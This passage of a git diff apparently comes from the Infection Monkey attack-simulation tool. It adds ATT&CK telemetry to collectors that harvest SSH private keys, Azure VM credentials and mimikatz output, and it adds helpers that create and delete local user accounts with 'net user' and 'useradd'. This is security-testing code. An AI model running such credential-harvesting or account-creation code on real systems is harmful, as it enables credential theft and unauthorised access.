index 1dcf65665..ce5021923 100644
--- a/monkey/infection_monkey/requirements_windows.txt
+++ b/monkey/infection_monkey/requirements_windows.txt
@@ -1,9 +1,7 @@
enum34
impacket
pycryptodome
-pyasn1
cffi
-twisted
requests
odict
paramiko
diff --git a/monkey/infection_monkey/system_info/SSH_info_collector.py b/monkey/infection_monkey/system_info/SSH_info_collector.py
index af1915e4d..60c509fc6 100644
--- a/monkey/infection_monkey/system_info/SSH_info_collector.py
+++ b/monkey/infection_monkey/system_info/SSH_info_collector.py
@@ -3,6 +3,9 @@ import pwd
import os
import glob
+from common.utils.attack_utils import ScanStatus
+from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
+
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
@@ -71,6 +74,7 @@ class SSHCollector(object):
if private_key.find('ENCRYPTED') == -1:
info['private_key'] = private_key
LOG.info("Found private key in %s" % private)
+ T1005Telem(ScanStatus.USED, 'SSH key', "Path: %s" % private).send()
else:
continue
except (IOError, OSError):
diff --git a/monkey/infection_monkey/system_info/azure_cred_collector.py b/monkey/infection_monkey/system_info/azure_cred_collector.py
index 3b1127e44..90626922d 100644
--- a/monkey/infection_monkey/system_info/azure_cred_collector.py
+++ b/monkey/infection_monkey/system_info/azure_cred_collector.py
@@ -5,6 +5,10 @@ import json
import glob
import subprocess
+from common.utils.attack_utils import ScanStatus
+from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
+from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
+
__author__ = 'danielg'
LOG = logging.getLogger(__name__)
@@ -54,6 +58,8 @@ class AzureCollector(object):
decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE)
decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
decrypt_data = json.loads(decrypt_raw)
+ T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send()
+ T1064Telem(ScanStatus.USED, 'Bash scripts used to extract azure credentials.').send()
return decrypt_data['username'], decrypt_data['password']
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
@@ -92,6 +98,8 @@ class AzureCollector(object):
# this is disgusting but the alternative is writing the file to disk...
password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1]
password = json.loads(password_raw)["Password"]
+ T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send()
+ T1064Telem(ScanStatus.USED, 'Powershell scripts used to extract azure credentials.').send()
return username, password
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py
index 4ef764251..2951b7ebc 100644
--- a/monkey/infection_monkey/system_info/mimikatz_collector.py
+++ b/monkey/infection_monkey/system_info/mimikatz_collector.py
@@ -5,7 +5,9 @@ import socket
import zipfile
import infection_monkey.config
-
+from common.utils.attack_utils import ScanStatus, UsageEnum
+from infection_monkey.telemetry.attack.t1129_telem import T1129Telem
+from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path
__author__ = 'itay.mizeretz'
@@ -49,8 +51,12 @@ class MimikatzCollector(object):
self._get = get_proto(("get", self._dll))
self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll))
self._isInit = True
+ status = ScanStatus.USED
except Exception:
LOG.exception("Error initializing mimikatz collector")
+ status = ScanStatus.SCANNED
+ T1106Telem(status, UsageEnum.MIMIKATZ_WINAPI).send()
+ T1129Telem(status, UsageEnum.MIMIKATZ).send()
def get_logon_info(self):
"""
@@ -67,7 +73,7 @@ class MimikatzCollector(object):
logon_data_dictionary = {}
hostname = socket.gethostname()
-
+
self.mimikatz_text = self._get_text_output_proto()
for i in range(entry_count):
@@ -102,7 +108,7 @@ class MimikatzCollector(object):
except Exception:
LOG.exception("Error getting logon info")
return {}
-
+
def get_mimikatz_text(self):
return self.mimikatz_text
diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py
index 7c3739a0f..b8a102831 100644
--- a/monkey/infection_monkey/system_info/windows_info_collector.py
+++ b/monkey/infection_monkey/system_info/windows_info_collector.py
@@ -63,5 +63,6 @@ class WindowsInfoCollector(InfoCollector):
if "credentials" in self.info:
self.info["credentials"].update(mimikatz_info)
self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text()
+ LOG.info('Mimikatz info gathered successfully')
else:
LOG.info('No mimikatz info was gathered')
diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py
index f7835ba20..aaf5142e6 100644
--- a/monkey/infection_monkey/system_singleton.py
+++ b/monkey/infection_monkey/system_singleton.py
@@ -5,6 +5,7 @@ from abc import ABCMeta, abstractmethod
from infection_monkey.config import WormConfiguration
+
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
@@ -41,20 +42,17 @@ class WindowsSystemSingleton(_SystemSingleton):
ctypes.c_bool(True),
ctypes.c_char_p(self._mutex_name))
last_error = ctypes.windll.kernel32.GetLastError()
+
if not handle:
LOG.error("Cannot acquire system singleton %r, unknown error %d",
self._mutex_name, last_error)
-
return False
-
if winerror.ERROR_ALREADY_EXISTS == last_error:
LOG.debug("Cannot acquire system singleton %r, mutex already exist",
self._mutex_name)
-
return False
self._mutex_handle = handle
-
LOG.debug("Global singleton mutex %r acquired",
self._mutex_name)
@@ -62,7 +60,6 @@ class WindowsSystemSingleton(_SystemSingleton):
def unlock(self):
assert self._mutex_handle is not None, "Singleton not locked"
-
ctypes.windll.kernel32.CloseHandle(self._mutex_handle)
self._mutex_handle = None
diff --git a/monkey/infection_monkey/telemetry/attack/t1005_telem.py b/monkey/infection_monkey/telemetry/attack/t1005_telem.py
new file mode 100644
index 000000000..999d8622a
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1005_telem.py
@@ -0,0 +1,22 @@
+from infection_monkey.telemetry.attack.attack_telem import AttackTelem
+
+
+class T1005Telem(AttackTelem):
+ def __init__(self, status, gathered_data_type, info=""):
+ """
+ T1005 telemetry.
+ :param status: ScanStatus of technique
+ :param gathered_data_type: Type of data collected from local system
+ :param info: Additional info about data
+ """
+ super(T1005Telem, self).__init__('T1005', status)
+ self.gathered_data_type = gathered_data_type
+ self.info = info
+
+ def get_data(self):
+ data = super(T1005Telem, self).get_data()
+ data.update({
+ 'gathered_data_type': self.gathered_data_type,
+ 'info': self.info
+ })
+ return data
diff --git a/monkey/infection_monkey/telemetry/attack/t1035_telem.py b/monkey/infection_monkey/telemetry/attack/t1035_telem.py
new file mode 100644
index 000000000..4ca9dc93c
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1035_telem.py
@@ -0,0 +1,11 @@
+from infection_monkey.telemetry.attack.usage_telem import UsageTelem
+
+
+class T1035Telem(UsageTelem):
+ def __init__(self, status, usage):
+ """
+ T1035 telemetry.
+ :param status: ScanStatus of technique
+ :param usage: Enum of UsageEnum type
+ """
+ super(T1035Telem, self).__init__('T1035', status, usage)
diff --git a/monkey/infection_monkey/telemetry/attack/t1064_telem.py b/monkey/infection_monkey/telemetry/attack/t1064_telem.py
new file mode 100644
index 000000000..efea27063
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1064_telem.py
@@ -0,0 +1,19 @@
+from infection_monkey.telemetry.attack.usage_telem import AttackTelem
+
+
+class T1064Telem(AttackTelem):
+ def __init__(self, status, usage):
+ """
+ T1064 telemetry.
+ :param status: ScanStatus of technique
+ :param usage: Usage string
+ """
+ super(T1064Telem, self).__init__('T1064', status)
+ self.usage = usage
+
+ def get_data(self):
+ data = super(T1064Telem, self).get_data()
+ data.update({
+ 'usage': self.usage
+ })
+ return data
diff --git a/monkey/infection_monkey/telemetry/attack/t1105_telem.py b/monkey/infection_monkey/telemetry/attack/t1105_telem.py
new file mode 100644
index 000000000..454391da8
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1105_telem.py
@@ -0,0 +1,25 @@
+from infection_monkey.telemetry.attack.victim_host_telem import AttackTelem
+
+
+class T1105Telem(AttackTelem):
+ def __init__(self, status, src, dst, filename):
+ """
+ T1105 telemetry.
+ :param status: ScanStatus of technique
+ :param src: IP of machine which uploaded the file
+ :param dst: IP of machine which downloaded the file
+ :param filename: Uploaded file's name
+ """
+ super(T1105Telem, self).__init__('T1105', status)
+ self.filename = filename
+ self.src = src
+ self.dst = dst
+
+ def get_data(self):
+ data = super(T1105Telem, self).get_data()
+ data.update({
+ 'filename': self.filename,
+ 'src': self.src,
+ 'dst': self.dst
+ })
+ return data
diff --git a/monkey/infection_monkey/telemetry/attack/t1106_telem.py b/monkey/infection_monkey/telemetry/attack/t1106_telem.py
new file mode 100644
index 000000000..422313540
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1106_telem.py
@@ -0,0 +1,11 @@
+from infection_monkey.telemetry.attack.usage_telem import UsageTelem
+
+
+class T1106Telem(UsageTelem):
+ def __init__(self, status, usage):
+ """
+ T1106 telemetry.
+ :param status: ScanStatus of technique
+ :param usage: Enum name of UsageEnum
+ """
+ super(T1106Telem, self).__init__("T1106", status, usage)
diff --git a/monkey/infection_monkey/telemetry/attack/t1107_telem.py b/monkey/infection_monkey/telemetry/attack/t1107_telem.py
new file mode 100644
index 000000000..ffb69b698
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1107_telem.py
@@ -0,0 +1,19 @@
+from infection_monkey.telemetry.attack.attack_telem import AttackTelem
+
+
+class T1107Telem(AttackTelem):
+ def __init__(self, status, path):
+ """
+ T1107 telemetry.
+ :param status: ScanStatus of technique
+ :param path: Path of deleted dir/file
+ """
+ super(T1107Telem, self).__init__('T1107', status)
+ self.path = path
+
+ def get_data(self):
+ data = super(T1107Telem, self).get_data()
+ data.update({
+ 'path': self.path
+ })
+ return data
diff --git a/monkey/infection_monkey/telemetry/attack/t1129_telem.py b/monkey/infection_monkey/telemetry/attack/t1129_telem.py
new file mode 100644
index 000000000..4e7a12ce8
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1129_telem.py
@@ -0,0 +1,11 @@
+from infection_monkey.telemetry.attack.usage_telem import UsageTelem
+
+
+class T1129Telem(UsageTelem):
+ def __init__(self, status, usage):
+ """
+ T1129 telemetry.
+ :param status: ScanStatus of technique
+ :param usage: Enum of UsageEnum type
+ """
+ super(T1129Telem, self).__init__("T1129", status, usage)
diff --git a/monkey/infection_monkey/telemetry/attack/t1222_telem.py b/monkey/infection_monkey/telemetry/attack/t1222_telem.py
new file mode 100644
index 000000000..4708c230a
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1222_telem.py
@@ -0,0 +1,20 @@
+from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem
+
+
+class T1222Telem(VictimHostTelem):
+ def __init__(self, status, command, machine):
+ """
+ T1222 telemetry.
+ :param status: ScanStatus of technique
+ :param command: command used to change permissions
+ :param machine: VictimHost type object
+ """
+ super(T1222Telem, self).__init__('T1222', status, machine)
+ self.command = command
+
+ def get_data(self):
+ data = super(T1222Telem, self).get_data()
+ data.update({
+ 'command': self.command
+ })
+ return data
diff --git a/monkey/infection_monkey/telemetry/attack/usage_telem.py b/monkey/infection_monkey/telemetry/attack/usage_telem.py
new file mode 100644
index 000000000..4b47d8be3
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/usage_telem.py
@@ -0,0 +1,20 @@
+from infection_monkey.telemetry.attack.attack_telem import AttackTelem
+
+
+class UsageTelem(AttackTelem):
+
+ def __init__(self, technique, status, usage):
+ """
+ :param technique: Id of technique
+ :param status: ScanStatus of technique
+ :param usage: Enum of UsageEnum type
+ """
+ super(UsageTelem, self).__init__(technique, status)
+ self.usage = usage.name
+
+ def get_data(self):
+ data = super(UsageTelem, self).get_data()
+ data.update({
+ 'usage': self.usage
+ })
+ return data
diff --git a/monkey/infection_monkey/telemetry/attack/test_victim_host_telem.py b/monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py
similarity index 100%
rename from monkey/infection_monkey/telemetry/attack/test_victim_host_telem.py
rename to monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py
diff --git a/monkey/infection_monkey/telemetry/base_telem.py b/monkey/infection_monkey/telemetry/base_telem.py
index db0673f9d..c83438b07 100644
--- a/monkey/infection_monkey/telemetry/base_telem.py
+++ b/monkey/infection_monkey/telemetry/base_telem.py
@@ -1,7 +1,11 @@
import abc
+import json
+import logging
from infection_monkey.control import ControlClient
+logger = logging.getLogger(__name__)
+
__author__ = 'itay.mizeretz'
@@ -17,7 +21,9 @@ class BaseTelem(object, metaclass=abc.ABCMeta):
"""
Sends telemetry to island
"""
- ControlClient.send_telemetry(self.telem_category, self.get_data())
+ data = self.get_data()
+ logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, json.dumps(data)))
+ ControlClient.send_telemetry(self.telem_category, data)
@abc.abstractproperty
def telem_category(self):
diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py
index 16e92919f..8da49f637 100644
--- a/monkey/infection_monkey/transport/http.py
+++ b/monkey/infection_monkey/transport/http.py
@@ -1,22 +1,22 @@
-import http.server
+import BaseHTTPServer
import os.path
import select
import socket
import threading
-import urllib.request, urllib.parse, urllib.error
+import urllib
from logging import getLogger
-from urllib.parse import urlsplit
-from threading import Lock
+from urlparse import urlsplit
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
__author__ = 'hoffer'
LOG = getLogger(__name__)
-class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
+class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
filename = ""
@@ -61,7 +61,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
f.close()
def send_head(self):
- if self.path != '/' + urllib.parse.quote(os.path.basename(self.filename)):
+ if self.path != '/' + urllib.quote(os.path.basename(self.filename)):
self.send_error(500, "")
return None, 0, 0
f = None
@@ -106,7 +106,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
format % args))
-class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
+class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
timeout = 30 # timeout with clients, set to None not to make persistent connection
proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header
protocol_version = "HTTP/1.1"
@@ -165,17 +165,24 @@ class HTTPServer(threading.Thread):
def run(self):
class TempHandler(FileServHTTPRequestHandler):
+ from common.utils.attack_utils import ScanStatus
+ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
+
filename = self._filename
@staticmethod
def report_download(dest=None):
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
+ TempHandler.T1105Telem(TempHandler.ScanStatus.USED,
+ get_interface_to_target(dest[0]),
+ dest[0],
+ self._filename).send()
self.downloads += 1
if not self.downloads < self.max_downloads:
return True
return False
- httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler)
+ httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
httpd.timeout = 0.5 # this is irrelevant?
while not self._stopped and self.downloads < self.max_downloads:
@@ -212,17 +219,23 @@ class LockedHTTPServer(threading.Thread):
def run(self):
class TempHandler(FileServHTTPRequestHandler):
+ from common.utils.attack_utils import ScanStatus
+ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
filename = self._filename
@staticmethod
def report_download(dest=None):
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
+ TempHandler.T1105Telem(TempHandler.ScanStatus.USED,
+ get_interface_to_target(dest[0]),
+ dest[0],
+ self._filename).send()
self.downloads += 1
if not self.downloads < self.max_downloads:
return True
return False
- httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler)
+ httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
self.lock.release()
while not self._stopped and self.downloads < self.max_downloads:
httpd.handle_request()
@@ -236,7 +249,7 @@ class LockedHTTPServer(threading.Thread):
class HTTPConnectProxy(TransportProxyBase):
def run(self):
- httpd = http.server.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
+ httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
httpd.timeout = 30
while not self._stopped:
httpd.handle_request()
diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py
index 999f4d7fc..722dea50e 100644
--- a/monkey/infection_monkey/tunnel.py
+++ b/monkey/infection_monkey/tunnel.py
@@ -9,7 +9,7 @@ from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import local_ips, get_free_tcp_port
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.transport.base import get_last_serve_time
-from infection_monkey.exploit.tools import get_interface_to_target
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
__author__ = 'hoffer'
diff --git a/monkey/infection_monkey/utils.py b/monkey/infection_monkey/utils.py
deleted file mode 100644
index 6eb3aefb5..000000000
--- a/monkey/infection_monkey/utils.py
+++ /dev/null
@@ -1,57 +0,0 @@
-import os
-import shutil
-import struct
-import sys
-import tempfile
-
-from infection_monkey.config import WormConfiguration
-
-
-def get_monkey_log_path():
- return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \
- else WormConfiguration.monkey_log_path_linux
-
-
-def get_dropper_log_path():
- return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \
- else WormConfiguration.dropper_log_path_linux
-
-
-def is_64bit_windows_os():
- """
- Checks for 64 bit Windows OS using environment variables.
- """
- return 'PROGRAMFILES(X86)' in os.environ
-
-
-def is_64bit_python():
- return struct.calcsize("P") == 8
-
-
-def is_windows_os():
- return sys.platform.startswith("win")
-
-
-def utf_to_ascii(string):
- # Converts utf string to ascii. Safe to use even if string is already ascii.
- udata = string.decode("utf-8")
- return udata.encode("ascii", "ignore")
-
-
-def create_monkey_dir():
- """
- Creates directory for monkey and related files
- """
- if not os.path.exists(get_monkey_dir_path()):
- os.mkdir(get_monkey_dir_path())
-
-
-def remove_monkey_dir():
- """
- Removes monkey's root directory
- """
- shutil.rmtree(get_monkey_dir_path(), ignore_errors=True)
-
-
-def get_monkey_dir_path():
- return os.path.join(tempfile.gettempdir(), WormConfiguration.monkey_dir_name)
diff --git a/monkey/infection_monkey/utils/__init__.py b/monkey/infection_monkey/utils/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/infection_monkey/utils/environment.py b/monkey/infection_monkey/utils/environment.py
new file mode 100644
index 000000000..40a70ce58
--- /dev/null
+++ b/monkey/infection_monkey/utils/environment.py
@@ -0,0 +1,18 @@
+import os
+import struct
+import sys
+
+
+def is_64bit_windows_os():
+ """
+ Checks for 64 bit Windows OS using environment variables.
+ """
+ return 'PROGRAMFILES(X86)' in os.environ
+
+
+def is_64bit_python():
+ return struct.calcsize("P") == 8
+
+
+def is_windows_os():
+ return sys.platform.startswith("win")
diff --git a/monkey/infection_monkey/utils/linux/__init__.py b/monkey/infection_monkey/utils/linux/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/infection_monkey/utils/linux/users.py b/monkey/infection_monkey/utils/linux/users.py
new file mode 100644
index 000000000..1acc87d72
--- /dev/null
+++ b/monkey/infection_monkey/utils/linux/users.py
@@ -0,0 +1,21 @@
+import datetime
+
+
+def get_linux_commands_to_add_user(username):
+ return [
+ 'useradd',
+ '-M', # Do not create homedir
+ '--expiredate',
+ datetime.datetime.today().strftime('%Y-%m-%d'),
+ '--inactive',
+ '0',
+ '-c', # Comment
+ 'MONKEY_USER', # Comment
+ username]
+
+
+def get_linux_commands_to_delete_user(username):
+ return [
+ 'deluser',
+ username
+ ]
diff --git a/monkey/infection_monkey/utils/monkey_dir.py b/monkey/infection_monkey/utils/monkey_dir.py
new file mode 100644
index 000000000..bb69dae5b
--- /dev/null
+++ b/monkey/infection_monkey/utils/monkey_dir.py
@@ -0,0 +1,29 @@
+import os
+import shutil
+import tempfile
+
+from infection_monkey.config import WormConfiguration
+
+
+def create_monkey_dir():
+ """
+ Creates directory for monkey and related files
+ """
+ if not os.path.exists(get_monkey_dir_path()):
+ os.mkdir(get_monkey_dir_path())
+
+
+def remove_monkey_dir():
+ """
+ Removes monkey's root directory
+ :return True if removed without errors and False otherwise
+ """
+ try:
+ shutil.rmtree(get_monkey_dir_path())
+ return True
+ except Exception:
+ return False
+
+
+def get_monkey_dir_path():
+ return os.path.join(tempfile.gettempdir(), WormConfiguration.monkey_dir_name)
diff --git a/monkey/infection_monkey/utils/monkey_log_path.py b/monkey/infection_monkey/utils/monkey_log_path.py
new file mode 100644
index 000000000..ad80bc73d
--- /dev/null
+++ b/monkey/infection_monkey/utils/monkey_log_path.py
@@ -0,0 +1,14 @@
+import os
+import sys
+
+from infection_monkey.config import WormConfiguration
+
+
+def get_monkey_log_path():
+ return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \
+ else WormConfiguration.monkey_log_path_linux
+
+
+def get_dropper_log_path():
+ return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \
+ else WormConfiguration.dropper_log_path_linux
diff --git a/monkey/infection_monkey/utils/users.py b/monkey/infection_monkey/utils/users.py
new file mode 100644
index 000000000..68148d9e9
--- /dev/null
+++ b/monkey/infection_monkey/utils/users.py
@@ -0,0 +1,10 @@
+from infection_monkey.utils.linux.users import get_linux_commands_to_add_user
+from infection_monkey.utils.windows.users import get_windows_commands_to_add_user
+
+
+def get_commands_to_add_user(username, password):
+ linux_cmds = get_linux_commands_to_add_user(username)
+ windows_cmds = get_windows_commands_to_add_user(username, password)
+ return linux_cmds, windows_cmds
+
+
diff --git a/monkey/infection_monkey/utils/windows/__init__.py b/monkey/infection_monkey/utils/windows/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/infection_monkey/utils/windows/auto_new_user.py b/monkey/infection_monkey/utils/windows/auto_new_user.py
new file mode 100644
index 000000000..d95ac0bf0
--- /dev/null
+++ b/monkey/infection_monkey/utils/windows/auto_new_user.py
@@ -0,0 +1,69 @@
+import logging
+import subprocess
+
+from infection_monkey.post_breach.actions.add_user import BackdoorUser
+from infection_monkey.utils.windows.users import get_windows_commands_to_delete_user, get_windows_commands_to_add_user
+
+logger = logging.getLogger(__name__)
+
+
+class NewUserError(Exception):
+ pass
+
+
+class AutoNewUser(object):
+ """
+ RAII object to use for creating and using a new user in Windows. Use with `with`.
+ User will be created when the instance is instantiated.
+ User will log on at the start of the `with` scope.
+ User will log off and get deleted at the end of said `with` scope.
+
+ Example:
+ # Created # Logged on
+ with AutoNewUser("user", "pass") as new_user:
+ ...
+ ...
+ # Logged off and deleted
+ ...
+ """
+ def __init__(self, username, password):
+ """
+ Creates a user with the username + password.
+ :raises: subprocess.CalledProcessError if failed to add the user.
+ """
+ self.username = username
+ self.password = password
+
+ windows_cmds = get_windows_commands_to_add_user(self.username, self.password, True)
+ _ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True)
+
+ def __enter__(self):
+ # Importing these only on windows, as they won't exist on linux.
+ import win32security
+ import win32con
+
+ try:
+ # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera
+ self.logon_handle = win32security.LogonUser(
+ self.username,
+ ".", # Use current domain.
+ self.password,
+ win32con.LOGON32_LOGON_INTERACTIVE, # Logon type - interactive (normal user).
+ win32con.LOGON32_PROVIDER_DEFAULT) # Which logon provider to use - whatever Windows offers.
+ except Exception as err:
+ raise NewUserError("Can't logon as {}. Error: {}".format(self.username, str(err)))
+ return self
+
+ def get_logon_handle(self):
+ return self.logon_handle
+
+ def __exit__(self, exc_type, exc_val, exc_tb):
+ # Logoff
+ self.logon_handle.Close()
+
+ # Try to delete user
+ try:
+ _ = subprocess.Popen(
+ get_windows_commands_to_delete_user(self.username), stderr=subprocess.STDOUT, shell=True)
+ except Exception as err:
+ raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err))
diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py
new file mode 100644
index 000000000..0e6847cff
--- /dev/null
+++ b/monkey/infection_monkey/utils/windows/users.py
@@ -0,0 +1,18 @@
+def get_windows_commands_to_add_user(username, password, should_be_active=False):
+ windows_cmds = [
+ 'net',
+ 'user',
+ username,
+ password,
+ '/add']
+ if not should_be_active:
+ windows_cmds.append('/ACTIVE:NO')
+ return windows_cmds
+
+
+def get_windows_commands_to_delete_user(username):
+ return [
+ 'net',
+ 'user',
+ username,
+ '/delete']
diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py
index a79d38490..af904b143 100644
--- a/monkey/infection_monkey/windows_upgrader.py
+++ b/monkey/infection_monkey/windows_upgrader.py
@@ -8,9 +8,9 @@ import time
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.config import WormConfiguration
from infection_monkey.control import ControlClient
-from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
+from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
from infection_monkey.model import MONKEY_CMDLINE_WINDOWS
-from infection_monkey.utils import is_windows_os, is_64bit_windows_os, is_64bit_python
+from infection_monkey.utils.environment import is_windows_os, is_64bit_windows_os, is_64bit_python
__author__ = 'itay.mizeretz'
diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py
index c6ad585df..347138a58 100644
--- a/monkey/monkey_island/cc/app.py
+++ b/monkey/monkey_island/cc/app.py
@@ -23,7 +23,7 @@ from monkey_island.cc.resources.monkey_download import MonkeyDownload
from monkey_island.cc.resources.netmap import NetMap
from monkey_island.cc.resources.node import Node
from monkey_island.cc.resources.remote_run import RemoteRun
-from monkey_island.cc.resources.report import Report
+from monkey_island.cc.resources.reporting.report import Report
from monkey_island.cc.resources.root import Root
from monkey_island.cc.resources.telemetry import Telemetry
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
@@ -122,7 +122,13 @@ def init_api_resources(api):
api.add_resource(NetMap, '/api/netmap', '/api/netmap/')
api.add_resource(Edge, '/api/netmap/edge', '/api/netmap/edge/')
api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/')
- api.add_resource(Report, '/api/report', '/api/report/')
+
+ # report_type: zero_trust or security
+ api.add_resource(
+ Report,
+ '/api/report/',
+ '/api/report//')
+
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
api.add_resource(Log, '/api/log', '/api/log/')
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
diff --git a/monkey/monkey_island/cc/environment/testing.py b/monkey/monkey_island/cc/environment/testing.py
index 286e442dd..087c3a2e3 100644
--- a/monkey/monkey_island/cc/environment/testing.py
+++ b/monkey/monkey_island/cc/environment/testing.py
@@ -1,5 +1,4 @@
from monkey_island.cc.environment import Environment
-import monkey_island.cc.auth
class TestingEnvironment(Environment):
@@ -7,11 +6,5 @@ class TestingEnvironment(Environment):
super(TestingEnvironment, self).__init__()
self.testing = True
- # SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
- NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \
- '8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557'
-
def get_auth_users(self):
- return [
- monkey_island.cc.auth.User(1, self.NO_AUTH_CREDS, self.NO_AUTH_CREDS)
- ]
+ return []
diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py
index d23d57411..2b2193af6 100644
--- a/monkey/monkey_island/cc/main.py
+++ b/monkey/monkey_island/cc/main.py
@@ -19,7 +19,7 @@ json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'isla
logger = logging.getLogger(__name__)
from monkey_island.cc.app import init_app
-from monkey_island.cc.exporter_init import populate_exporter_list
+from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list
from monkey_island.cc.utils import local_ip_addresses
from monkey_island.cc.environment.environment import env
from monkey_island.cc.database import is_db_server_up, get_db_version
diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py
index 105866937..58e950914 100644
--- a/monkey/monkey_island/cc/models/__init__.py
+++ b/monkey/monkey_island/cc/models/__init__.py
@@ -12,8 +12,9 @@ else:
connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port)
# Order of importing matters here, for registering the embedded and referenced documents before using them.
-from .config import Config
-from .creds import Creds
-from .monkey_ttl import MonkeyTtl
-from .pba_results import PbaResults
-from .monkey import Monkey
+from config import Config
+from creds import Creds
+from monkey_ttl import MonkeyTtl
+from pba_results import PbaResults
+from command_control_channel import CommandControlChannel
+from monkey import Monkey
diff --git a/monkey/monkey_island/cc/models/command_control_channel.py b/monkey/monkey_island/cc/models/command_control_channel.py
new file mode 100644
index 000000000..3aefef455
--- /dev/null
+++ b/monkey/monkey_island/cc/models/command_control_channel.py
@@ -0,0 +1,11 @@
+from mongoengine import EmbeddedDocument, StringField
+
+
+class CommandControlChannel(EmbeddedDocument):
+ """
+ This value describes command and control channel monkey used in communication
+ src - Monkey Island's IP
+ dst - Monkey's IP (in case of a proxy chain this is the IP of the last monkey)
+ """
+ src = StringField()
+ dst = StringField()
diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py
